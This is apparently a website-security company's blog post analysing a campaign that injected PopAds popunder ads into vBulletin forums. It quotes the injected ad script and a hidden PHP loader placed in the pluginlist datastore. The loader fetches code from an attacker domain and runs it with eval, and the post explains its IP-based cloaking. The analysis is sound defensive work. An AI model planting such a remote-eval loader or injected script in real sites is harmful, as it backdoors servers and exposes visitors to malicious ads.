In the past, we have seen a massive amount of vBulletin websites compromised through theVBSeo Vulnerability. Attackers have been infecting vBulletin websites since 2012 with this malware, and more recently with a newvariation of the same infection. Ever since this new development, the table datastore in vBulletin has been a prime candidate for attackers to store malicious code where malware can be easily loaded on every visit.
Recently, we came across a malware campaign of vBulletin websites showing malicious ads from popads[.]net for no apparent reason. The webmasters had no idea where they were coming from. Pop-up Ads on vBulletin Forums
This ad network is well known for nasty pop-ups and malware-spreading advertisements as the core part of its network, which makes this a troublesome situation.
Here’s an example of the code being injected into the vBulletin sites:
<!-- PopAds.net Popunder Code for www.YourSite.com -->
<script type="text/javascript" data-cfasync="false">
var _pop = _pop || [];
_pop.push([‘siteId‘, 1514372]);
_pop.push([‘minBid‘, 0]);
_pop.push([‘popundersPerIP‘, 0]);
_pop.push([‘delayBetween‘, 0]);
_pop.push([‘default‘, false]);
_pop.push([‘defaultPerDay‘, 0]);
_pop.push([‘topmostLayer‘, false]);
(function() {
var pa = document.createElement(‘script‘); pa.type = ‘text/javascript‘; pa.async = true;
var s = document.getElementsByTagName(‘script‘)[0];
pa.src = ‘//c1.popads.net/pop.js‘;
pa.onerror = function() {
var sa = document.createElement(‘script‘); sa.type = ‘text/javascript‘; sa.async = true;
sa.src = ‘//c2.popads.net/pop.js‘;
s.parentNode.insertBefore(sa, s);
};
s.parentNode.insertBefore(pa, s);
})();
</script>
<!-- PopAds.net Popunder Code End -->
The code is quite easy to spot because it’s placed after the closing
</html>
tags. Most website security scanners would flag it as suspicious, and
strangely enough, it’s only being displayed once per IP. This means a
repeat visitor wouldn’t see the ads on subsequent visits.
Externalphp File Loading in Pluginlist
Knowing how vBulletin infections tend to store themselves inside the datastore
table, we went on to take a look at that table, more specifically in the pluginlist
row.
We found something that shouldn’t be there in the middle of the Tapatalk
code:
$output = preg_replace(‘@<link href="([^">]+)android-app:\/\/com.quoord\.tapatalkpro\.activity\/[email protected]‘,
‘<link href="android-app://com.quoord.tapatalkpro.activity/tapatalk‘, $output);
$output = preg_replace(‘@<link href="([^">]+)ios-app:\/\/307880732\/[email protected]‘,
‘<link href="ios-app://307880732/tapatalk‘, $output);
$config_data
=
file_get_contents(‘http://geekube(.)com/wp-content/uploads/2013/xml.php?a=inner&host=‘
. $_SERVER[‘SERVER_NAME‘]);
if(strlen($config_data) > 0){ eval($config_data); }
";s:14:"page_templates";s:106:"global $vbulletin;
Loading PHP files from external sources through the pluginlist
is never a good thing so it deserves further investigation. We took steps to simply mimic the requests in question.
On the first level of the request, the geekube(.)com
domain returns us with the following PHP file hosted on a malicious WordPress site:
$output .=
file_get_contents(‘http://geekube.com/wp-content/uploads/2013/uploads/sites/16b54149eeb067699ab60ce79aa44b9e/js.php?remote=‘
. $_SERVER[‘REMOTE_ADDR‘]);
We can see that the external script receives the visitor’s IP
address, which allows the malware to perform its conditional IP controls
and make detection harder. It also means we can easily spoof the
requests with a new IP to get to the next step.
By turning $_SERVER[‘REMOTE_ADDR’]
into a server IP for example, 192.192.192.192 the next script immediately returns the entire block of code for the popads
advertisement code we saw initially.
The first part of the request chain makes use of $_SERVER[‘SERVER_NAME’]
and now we can see why; the script customizes the code to make it look
as legitimate as possible by modifying the initial comment line:
<!-- PopAds.net Popunder Code for www.YourSite.com -->
The script will display the victim’s website domain in the comment line instead of www.YourSite.com
in an attempt to fool webmasters into mistaking it for legitimate code.
New Domains Being Used
A new domain involved in this campaign has been using the exact same mechanisms and requests images(.)imagenetcom(.)com
We suspect there will be other sites that also leverage this tactic against vBulletin sites.
It’s always important to keep an eye on the plugins you have on your
website. This is important in vBulletin due to the ease with which the
attackers can add custom code or calls to external scripts in already
existing plugins. This alone makes it difficult for a webmaster to
locate the malicious injection, unless constant reviews of the plugins
in use are done.
Integrity monitoring services
will also help you stay aware of any unauthorized modifications to plugins and files on your site.
If you suspect your website has been infected, we are alwaysready to assist you.